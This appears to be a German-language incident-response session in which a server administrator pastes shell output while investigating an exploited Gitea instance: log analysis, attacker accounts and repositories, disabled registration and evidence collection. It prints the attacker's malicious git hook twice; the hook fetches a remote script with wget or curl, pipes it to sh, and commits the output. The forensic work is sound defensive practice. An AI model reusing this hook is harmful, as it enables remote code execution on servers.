command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINb/2AXFOth3xKRsYuBRtvmh0E2uqwVzc1zHPq8DfKzs user-5
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-3",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICx0bSfpi2SuVIz4O+5LeH1hMhyszsToEB2jdgcg7Dbk user-6
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-4",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMCof8cPzf55cAVSrjiYQnqRI+qFOaDr5jpew+lR8vwh user-9
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-5",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIConRKwtkavZhiK3CeRg7Wg9km9/DwOLskxOAuVmKOqX user-2
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-7",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMn/zN0Mtuzd9vsBlBL8VDJRoCuXVk98XFWFHVToCzId user-10
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-8",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBL9NaidAiMeTCzYwzGzpy9/dgHU7Nvgaa8qFx+RtSPd user-11
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-9",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIISCMKUXLatSVC7MURmS8Ra77C01Ne9JIGgg1wq/AaZW user-8
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-10",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPLyufFGuVLqhHmJQjpDmz3riLLknH9+5FgkeWWPExuO user-4
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-11",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGnoAhwz0z5gECYgcysPW011KtEqaKzOt6qOFPJNaCkA user-12
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-12",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILvPcc40YS0a5RdY6OhknE7tXRKUfdb2jut5eeNImsg+ user-13
|
|
# gitea public key
|
|
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-13",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM7z8bx+VD/lkJBkpRsx0xFPt4sECa5Ce9jd1/Dyl9dO user-14
|
|
```
|
|
|
|
root@sv003 /opt/appdata/gitea/git/repositories # # Blick in ein testpoc-Repo
|
|
root@sv003 /opt/appdata/gitea/git/repositories # ls -la testpoc60874/*/hooks
|
|
total 96
|
|
drwxr-xr-x 6 admindc admindc 4096 Aug 5 20:44 .
|
|
drwxr-xr-x 7 admindc admindc 4096 Aug 5 20:44 ..
|
|
-rwxr-xr-x 1 admindc admindc 478 Aug 5 20:44 applypatch-msg.sample
|
|
-rwxr-xr-x 1 admindc admindc 896 Aug 5 20:44 commit-msg.sample
|
|
-rwxr-xr-x 1 admindc admindc 376 Aug 5 20:44 post-receive
|
|
drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 post-receive.d
|
|
-rwxr-xr-x 1 admindc admindc 189 Aug 5 20:44 post-update.sample
|
|
-rwxr-xr-x 1 admindc admindc 424 Aug 5 20:44 pre-applypatch.sample
|
|
-rwxr-xr-x 1 admindc admindc 1649 Aug 5 20:44 pre-commit.sample
|
|
-rwxr-xr-x 1 admindc admindc 416 Aug 5 20:44 pre-merge-commit.sample
|
|
-rwxr-xr-x 1 admindc admindc 1492 Aug 5 20:44 prepare-commit-msg.sample
|
|
-rwxr-xr-x 1 admindc admindc 1374 Aug 5 20:44 pre-push.sample
|
|
-rwxr-xr-x 1 admindc admindc 4898 Aug 5 20:44 pre-rebase.sample
|
|
-rwxr-xr-x 1 admindc admindc 376 Aug 5 20:44 pre-receive
|
|
drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 pre-receive.d
|
|
-rwxr-xr-x 1 admindc admindc 544 Aug 5 20:44 pre-receive.sample
|
|
-rwxr-xr-x 1 admindc admindc 134 Aug 5 20:44 proc-receive
|
|
drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 proc-receive.d
|
|
-rwxr-xr-x 1 admindc admindc 2783 Aug 5 20:44 push-to-checkout.sample
|
|
-rwxr-xr-x 1 admindc admindc 2308 Aug 5 20:44 sendemail-validate.sample
|
|
-rwxr-xr-x 1 admindc admindc 356 Aug 5 20:44 update
|
|
drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 update.d
|
|
-rwxr-xr-x 1 admindc admindc 3650 Aug 5 20:44 update.sample
|
|
|
|
---
|
|
|
|
Bitte weniger auf einmal und mehr Erklärungen, du überforderst mich sonst.
|
|
|
|
Hier die Ergebnisse der drei Prüfungen:
|
|
|
|
```
|
|
root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 1
|
|
root@sv003 /opt/appdata/gitea/git/repositories # for h in pre-receive update post-receive proc-receive; do echo "== $h"; md5sum /opt/appdata/gitea/git/repositories/*/*.git/hooks/$h | awk '{print $1}' | sort | uniq -c; done == pre-receive
|
|
3518 2d67fed6a447d2eb41535dc7fe514c3c
|
|
== update
|
|
3518 f3947df1fd3dbe0f06185367c7997fc5
|
|
== post-receive
|
|
3518 2d67fed6a447d2eb41535dc7fe514c3c
|
|
== proc-receive
|
|
3518 c65001fd6703334398ad122371538ae7
|
|
```
|
|
|
|
```
|
|
root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 2: Ergebnis zu lang für Terminal Screen Buffer
|
|
root@sv003 /opt/appdata/gitea/git/repositories # find /opt/appdata/gitea/git/repositories -path '*/hooks/*.d/*' -type f > Prüfung-2_Output.txt
|
|
```
|
|
|
|
```
|
|
root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 3
|
|
root@sv003 /opt/appdata/gitea/git/repositories # grep -rlE 'hooksPath|fsmonitor|sshCommand|core.pager|core.editor' /opt/appdata/gitea/git/repositories/*/*.git/config
|
|
root@sv003 /opt/appdata/gitea/git/repositories #
|
|
```
|
|
|
|
Für die Proxy Log-Suche brauche ich bitte das Kommando für einen Apache Reverse-Proxy.
|
|
|
|
---
|
|
|
|
Kein Output:
|
|
```
|
|
root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '_diffpatch' /var/log/apache2/*access*log* /var/log/httpd/*access*log* 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head
|
|
root@sv003 /opt/appdata/gitea/git/repositories #
|
|
```
|
|
|
|
---
|
|
|
|
root@sv003 /opt/appdata/gitea/git/repositories # zgrep -cH 'diffpatch' /var/log/apache2/*access*log* /var/log/httpd/*access*log* 2>/dev/null
|
|
/var/log/apache2/access.log:0
|
|
/var/log/apache2/other_vhosts_access.log:0
|
|
/var/log/apache2/other_vhosts_access.log.1:0
|
|
/var/log/apache2/other_vhosts_access.log.10.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.11.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.12.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.13.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.14.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.2.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.3.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.4.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.5.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.6.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.7.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.8.gz:0
|
|
/var/log/apache2/other_vhosts_access.log.9.gz:0
|
|
/var/log/httpd/*access*log*:0
|
|
root@sv003 /opt/appdata/gitea/git/repositories #
|
|
|
|
---
|
|
|
|
root@sv003 /opt/appdata/gitea/git/repositories # zgrep -cHE 'testpoc|1337|sign_up' /var/log/apache2/other_vhosts_access.log*
|
|
/var/log/apache2/other_vhosts_access.log:546
|
|
/var/log/apache2/other_vhosts_access.log.1:1187
|
|
/var/log/apache2/other_vhosts_access.log.10.gz:1236
|
|
/var/log/apache2/other_vhosts_access.log.11.gz:1092
|
|
/var/log/apache2/other_vhosts_access.log.12.gz:937
|
|
/var/log/apache2/other_vhosts_access.log.13.gz:1428
|
|
/var/log/apache2/other_vhosts_access.log.14.gz:1231
|
|
/var/log/apache2/other_vhosts_access.log.2.gz:1230
|
|
/var/log/apache2/other_vhosts_access.log.3.gz:1299
|
|
/var/log/apache2/other_vhosts_access.log.4.gz:1206
|
|
/var/log/apache2/other_vhosts_access.log.5.gz:1172
|
|
/var/log/apache2/other_vhosts_access.log.6.gz:1318
|
|
/var/log/apache2/other_vhosts_access.log.7.gz:1274
|
|
/var/log/apache2/other_vhosts_access.log.8.gz:1187
|
|
/var/log/apache2/other_vhosts_access.log.9.gz:1207
|
|
root@sv003 /opt/appdata/gitea/git/repositories #
|
|
|
|
---
|
|
|
|
root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h 'testpoc' /var/log/apache2/other_vhosts_access.log* | awk '{print $6, $7}' | sed -E 's#testpoc[0-9]+#testpocN#; s#poc-[0-9]+#poc-N#; s#\?.*##' | sort | uniq -c | sort -rn | head -50
|
|
root@sv003 /opt/appdata/gitea/git/repositories #
|
|
|
|
---
|
|
|
|
root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '"POST' /var/log/apache2/other_vhosts_access.log* | awk '{print $6, $7}' | sed -E 's#[0-9]+#N#g; s#\?.*##' | sort | uniq -c | sort -rn | head -30
|
|
113136 +N] "POST
|
|
root@sv003 /opt/appdata/gitea/git/repositories #
|
|
|
|
---
|
|
|
|
root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '"POST' /var/log/apache2/other_vhosts_access.log* | awk '{print $7, $8}' | sed -E 's#[0-9]+#N#g; s#\?.*##' | sort | uniq -c | sort -rn | head -30
|
|
78381 "POST /xmlrpc.php
|
|
13767 "POST /wp-login.php
|
|
7320 "POST //wp-login.php
|
|
2628 "POST /
|
|
930 "POST /wp-cron.php
|
|
754 "POST //xmlrpc.php
|
|
657 "POST /wp-json/batch/vN
|
|
480 "POST /wp/
|
|
459 "POST /wordpress/
|
|
432 "POST /index.php
|
|
427 "POST /blog/
|
|
320 "POST /wp/index.php
|
|
307 "POST /wordpress/index.php
|
|
292 "POST /wordpress/wp-json/batch/vN
|
|
286 "POST /blog/index.php
|
|
280 "POST /blog/wp-json/batch/vN
|
|
160 "POST /wp/wp-json/batch/vN/
|
|
160 "POST /wp/wordpress/wp-json/batch/vN
|
|
160 "POST /wp/blog/wp-json/batch/vN
|
|
159 "POST /wp/wp-json/batch/vN
|
|
158 "POST /wp//wp-json/batch/vN
|
|
157 "POST /wp/wp-json/Batch/vN
|
|
154 "POST /wordpress/wp-json/Batch/vN
|
|
154 "POST /wordpress/wp-json/batch/vN/
|
|
154 "POST /wordpress//wp-json/batch/vN
|
|
154 "POST /wordpress/wordpress/wp-json/batch/vN
|
|
154 "POST /wordpress/blog/wp-json/batch/vN
|
|
142 "POST /blog/wp-json/Batch/vN
|
|
142 "POST /blog/wp-json/batch/vN/
|
|
142 "POST /blog//wp-json/batch/vN
|
|
root@sv003 /opt/appdata/gitea/git/repositories #
|
|
|
|
---
|
|
|
|
root@sv003 /home/svn # zcat -f /var/log/apache2/other_vhosts_access.log* | awk '{print $1}' | sort | uniq -c | sort -rn | head
|
|
175445 destengs.com:443
|
|
143223 destengs.de:443
|
|
54077 destengs.com:80
|
|
24393 destengs.de:80
|
|
14 sv003.destengs.com:80
|
|
root@sv003 /home/svn #
|
|
|
|
---
|
|
|
|
root@sv003 /home/svn # zcat -f /var/log/apache2/other_vhosts_access.log* | grep -E 'api/v1|git-upload-pack|git-receive-pack|/user/login' | awk '{print $1}' | sort | uniq -c | sort -rn
|
|
450 destengs.com:443
|
|
219 destengs.de:443
|
|
84 destengs.com:80
|
|
root@sv003 /home/svn #
|
|
|
|
---
|
|
|
|
root@sv003 /home/svn # grep -rn '8084' /etc/apache2/
|
|
/etc/apache2/sites-available/git.destengs.com.conf:39: BalancerMember http://127.0.0.1:8084
|
|
/etc/apache2/sites-available/git.destengs.com.conf:88: BalancerMember http://127.0.0.1:8084
|
|
root@sv003 /home/svn #
|
|
|
|
---
|
|
|
|
root@sv003 /home/svn # grep -nE 'ServerName|CustomLog|ErrorLog' /etc/apache2/sites-available/git.destengs.com.conf
|
|
3: ServerName git.destengs.com
|
|
9: ErrorLog /var/log/virtualmin/git.destengs.com_error_log
|
|
10: CustomLog /var/log/virtualmin/git.destengs.com_access_log combined
|
|
46: ServerName git.destengs.com
|
|
52: ErrorLog /var/log/virtualmin/git.destengs.com_error_log
|
|
53: CustomLog /var/log/virtualmin/git.destengs.com_access_log combined
|
|
root@sv003 /home/svn #
|
|
|
|
---
|
|
|
|
root@sv003 /home/svn # zgrep -cH 'diffpatch' /var/log/virtualmin/git.destengs.com_access_log*
|
|
/var/log/virtualmin/git.destengs.com_access_log:729
|
|
/var/log/virtualmin/git.destengs.com_access_log.1.gz:1124
|
|
/var/log/virtualmin/git.destengs.com_access_log.2.gz:265
|
|
/var/log/virtualmin/git.destengs.com_access_log.3.gz:891
|
|
/var/log/virtualmin/git.destengs.com_access_log.4.gz:2407
|
|
/var/log/virtualmin/git.destengs.com_access_log.5.gz:2589
|
|
root@sv003 /home/svn #
|
|
|
|
---
|
|
|
|
Hier erstmal das Ergebnis deiner Code-Zeile:
|
|
```
|
|
root@sv003 /home/svn # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | awk '{print $1, $9}' | sort | uniq -c | sort -rn | head -20
|
|
2112 103.13.206.65 201
|
|
1454 172.234.102.123 201
|
|
1118 138.199.60.33 201
|
|
1045 192.53.122.108 201
|
|
371 138.199.60.39 201
|
|
360 74.7.241.12 303
|
|
278 107.172.58.36 201
|
|
246 216.73.217.135 303
|
|
246 216.73.217.135 200
|
|
190 74.7.243.192 303
|
|
162 23.94.216.234 201
|
|
53 74.7.227.174 303
|
|
48 93.123.109.101 303
|
|
48 172.234.102.123 502
|
|
41 213.209.159.133 303
|
|
41 213.209.159.133 200
|
|
38 138.199.60.33 502
|
|
26 74.7.227.170 303
|
|
21 192.53.122.108 502
|
|
19 74.7.227.17 303
|
|
root@sv003 /home/svn #
|
|
```
|
|
|
|
Ja, bitte zeige mir nochmal, wie ich die Registrierung sperre.
|
|
|
|
---
|
|
|
|
OK, die Registrierung ist nun gesperrt.
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | awk '{print $7}' | awk -F/ '{if ($2=="api") print $5; else print $2}' | sort | uniq -c | sort -rn | head -20
|
|
3131 gitea1337
|
|
3116 giteaa1337
|
|
420 tlg
|
|
289 user
|
|
217 wlfb
|
|
209 mkt
|
|
79 lwc
|
|
23 llm
|
|
14 wbg
|
|
9 pln
|
|
8 trf
|
|
7 ncd
|
|
7 n8n
|
|
7 krtr
|
|
5 rdms
|
|
3 testpoc99091
|
|
3 testpoc98983
|
|
3 testpoc98707
|
|
3 testpoc98701
|
|
3 testpoc98443
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | grep -vE 'gitea1337|giteaa1337|testpoc' | awk '{print $1, $6, $9}' | sort | uniq -c | sort -rn | head -20
|
|
360 74.7.241.12 "GET 303
|
|
246 216.73.217.135 "GET 303
|
|
246 216.73.217.135 "GET 200
|
|
190 74.7.243.192 "GET 303
|
|
53 74.7.227.174 "GET 303
|
|
48 93.123.109.101 "GET 303
|
|
41 213.209.159.133 "GET 303
|
|
41 213.209.159.133 "GET 200
|
|
26 74.7.227.170 "GET 303
|
|
19 74.7.227.17 "GET 303
|
|
9 74.7.227.38 "GET 303
|
|
7 74.7.241.25 "GET 303
|
|
6 74.7.227.160 "GET 303
|
|
2 74.7.241.12 "GET 200
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
Bevor wir das tun, bitte analysieren, in welchem Umfang die Angreifer Inhalte auf den Server hochgeladen haben und welche Inhalte das waren.
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # du -sh /opt/appdata/gitea/git/repositories/* | sort -rh | head -30
|
|
455M /opt/appdata/gitea/git/repositories/gitea1337
|
|
453M /opt/appdata/gitea/git/repositories/giteaa1337
|
|
16M /opt/appdata/gitea/git/repositories/tlg
|
|
3.1M /opt/appdata/gitea/git/repositories/wlfb
|
|
816K /opt/appdata/gitea/git/repositories/llm
|
|
720K /opt/appdata/gitea/git/repositories/lwc
|
|
660K /opt/appdata/gitea/git/repositories/mkt
|
|
404K /opt/appdata/gitea/git/repositories/ncd
|
|
316K /opt/appdata/gitea/git/repositories/testpoc96516
|
|
316K /opt/appdata/gitea/git/repositories/testpoc95946
|
|
316K /opt/appdata/gitea/git/repositories/testpoc93288
|
|
316K /opt/appdata/gitea/git/repositories/testpoc85733
|
|
316K /opt/appdata/gitea/git/repositories/testpoc82932
|
|
316K /opt/appdata/gitea/git/repositories/testpoc82705
|
|
316K /opt/appdata/gitea/git/repositories/testpoc79896
|
|
316K /opt/appdata/gitea/git/repositories/testpoc69572
|
|
316K /opt/appdata/gitea/git/repositories/testpoc66868
|
|
316K /opt/appdata/gitea/git/repositories/testpoc63173
|
|
316K /opt/appdata/gitea/git/repositories/testpoc58970
|
|
316K /opt/appdata/gitea/git/repositories/testpoc55339
|
|
316K /opt/appdata/gitea/git/repositories/testpoc52938
|
|
316K /opt/appdata/gitea/git/repositories/testpoc50766
|
|
316K /opt/appdata/gitea/git/repositories/testpoc42534
|
|
316K /opt/appdata/gitea/git/repositories/testpoc40770
|
|
316K /opt/appdata/gitea/git/repositories/testpoc38905
|
|
316K /opt/appdata/gitea/git/repositories/testpoc38380
|
|
316K /opt/appdata/gitea/git/repositories/testpoc13731
|
|
316K /opt/appdata/gitea/git/repositories/testpoc12313
|
|
312K /opt/appdata/gitea/git/repositories/testpoc97134
|
|
312K /opt/appdata/gitea/git/repositories/testpoc87888
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # du -sk /opt/appdata/gitea/git/repositories/gitea1337/* /opt/appdata/gitea/git/repositories/giteaa1337/* | sort -rn | head -10
|
|
304 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-63188.git
|
|
300 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-22675.git
|
|
288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99938.git
|
|
288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99901.git
|
|
288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99882.git
|
|
288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99877.git
|
|
288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99860.git
|
|
288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99747.git
|
|
288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99670.git
|
|
288 /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-99534.git
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-63188.git log --all --stat --format='%h %an %ad %s' | head -30
|
|
0f01a93 poc Tue Aug 25 08:01:44 2026 +0000 rce proof
|
|
|
|
proof | 0
|
|
1 file changed, 0 insertions(+), 0 deletions(-)
|
|
7f2e27a giteaa1337 Mon Jan 1 00:00:00 2001 +0000 apply-2
|
|
79c502c giteaa1337 Mon Jan 1 00:00:00 2001 +0000 apply-1
|
|
|
|
hooks/post-index-change | 14 ++++++++++++++
|
|
1 file changed, 14 insertions(+)
|
|
c609db6 giteaa1337 Tue Aug 25 08:01:37 2026 +0000 Initial commit
|
|
|
|
README.md | 2 ++
|
|
1 file changed, 2 insertions(+)
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-63188.git show 79c502c:hooks/post-index-change
|
|
#!/bin/sh
|
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
|
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
|
case "$origin_objects" in
|
|
/*) ;;
|
|
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
|
esac
|
|
origin_git=${origin_objects%/objects}
|
|
[ "$origin_git" != "$origin_objects" ] || exit 3
|
|
output_blob=$(busybox wget --no-check-certificate -q -O- http://repositorylinux.jo3.org/cronsys | sh 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
|
tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
|
commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
|
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
|
|
exit 0
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # find /opt/appdata/gitea -type f -perm /111 -newermt 2026-08-01 -not -path '*/repositories/*'
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/commit-msg.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/sendemail-validate.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/prepare-commit-msg.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/push-to-checkout.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-push.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-merge-commit.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-rebase.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/update.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-applypatch.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-update.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-commit.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/pre-receive.sample
|
|
/opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/applypatch-msg.sample
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # stat -c '%y %s Bytes' /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change && cat /opt/appdata/gitea/gitea/tmp/local-repo/upload.git33446969/hooks/post-index-change
|
|
2026-09-24 10:32:24.627976734 +0200 844 Bytes
|
|
#!/bin/sh
|
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
|
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
|
case "$origin_objects" in
|
|
/*) ;;
|
|
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
|
esac
|
|
origin_git=${origin_objects%/objects}
|
|
[ "$origin_git" != "$origin_objects" ] || exit 3
|
|
output_blob=$(curl -s -k https://archive.repositoryserver.org/linuxsh | sh 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
|
tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
|
commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
|
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
|
|
exit 0
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # docker image inspect gitea/gitea:1.27.3 --format '{{.Metadata.LastTagTime}}'
|
|
0001-01-01 00:00:00 +0000 UTC
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # docker inspect gitea --format '{{.Created}}'
|
|
2026-09-24T10:36:22.759809116Z
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # grep 'diffpatch' /var/log/virtualmin/git.destengs.com_access_log | tail -5 | awk '{print $1, $4, $9}'
|
|
138.199.60.39 [24/Sep/2026:12:02:35 201
|
|
138.199.60.39 [24/Sep/2026:12:02:38 201
|
|
138.199.60.39 [24/Sep/2026:12:02:36 201
|
|
138.199.60.39 [24/Sep/2026:12:02:39 201
|
|
138.199.60.39 [24/Sep/2026:12:02:37 201
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # docker exec -u git gitea sh -c 'for r in /data/git/repositories/*/*.git; do s=$(git --git-dir="$r" cat-file -s rce-proof:proof 2>/dev/null) && echo "$s $r"; done | sort -rn | head -10'
|
|
783 /data/git/repositories/testpoc95173/poc-38464.git
|
|
783 /data/git/repositories/testpoc60874/poc-41072.git
|
|
506 /data/git/repositories/giteaa1337/giteaa-98896.git
|
|
506 /data/git/repositories/giteaa1337/giteaa-92169.git
|
|
506 /data/git/repositories/giteaa1337/giteaa-89750.git
|
|
506 /data/git/repositories/giteaa1337/giteaa-89164.git
|
|
506 /data/git/repositories/giteaa1337/giteaa-88596.git
|
|
506 /data/git/repositories/giteaa1337/giteaa-84205.git
|
|
506 /data/git/repositories/giteaa1337/giteaa-82686.git
|
|
506 /data/git/repositories/giteaa1337/giteaa-81163.git
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/docker/git # docker exec -u git gitea git --git-dir=/data/git/repositories/giteaa1337/giteaa-98896.git cat-file -p rce-proof:proof
|
|
You can get through this!
|
|
ps: unrecognized option: sort=-%cpu
|
|
BusyBox v1.37.0 (2025-08-05 16:40:33 UTC) multi-call binary.
|
|
|
|
Usage: ps [-o COL1,COL2=HEADER] [-T]
|
|
|
|
Show list of processes
|
|
|
|
-o COL1,COL2=HEADER Select columns for display
|
|
-T Show threads
|
|
There is still a process!
|
|
ps: unrecognized option: sort=-%cpu
|
|
BusyBox v1.37.0 (2025-08-05 16:40:33 UTC) multi-call binary.
|
|
|
|
Usage: ps [-o COL1,COL2=HEADER] [-T]
|
|
|
|
Show list of processes
|
|
|
|
-o COL1,COL2=HEADER Select columns for display
|
|
-T Show threads
|
|
root@sv003 ~/docker/git #
|
|
|
|
---
|
|
|
|
root@sv003 ~/backup # tar czf ./gitea-hack-evidence.tgz /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-98896.git /opt/appdata/gitea/git/repositories/giteaa1337/giteaa-63188.git /opt/appdata/gitea/git/repositories/testpoc60874 /opt/appdata/gitea/git/repositories/testpoc95173 /opt/appdata/gitea/gitea/tmp/local-repo /var/log/virtualmin/git.destengs.com_*
|
|
tar: Removing leading `/' from member names
|
|
tar: Removing leading `/' from hard link targets
|
|
root@sv003 ~/backup # ls -alhrt
|
|
total 80M
|
|
-rw-r--r-- 1 root root 54M Sep 24 12:31 gitea-backup_2026-09-24_12-31.tar.gz
|
|
drwx------ 18 root root 4.0K Sep 24 12:35 ..
|
|
drwxr-xr-x 2 root root 4.0K Sep 24 16:53 .
|
|
-rw-r--r-- 1 root root 27M Sep 24 16:53 gitea-hack-evidence.tgz
|
|
root@sv003 ~/backup #
|
|
|
|
---
|
|
|
|
root@sv003 ~/backup # docker exec -u git gitea gitea admin user list | awk 'NR>1 && $1>=15 {print $2}' > /root/attacker-users.txt
|
|
root@sv003 ~/backup # wc -l /root/attacker-users.txt
|
|
257 /root/attacker-users.txt
|
|
root@sv003 ~/backup # grep -vE '^testpoc|1337' /root/attacker-users.txt
|
|
jujpqlugml
|
|
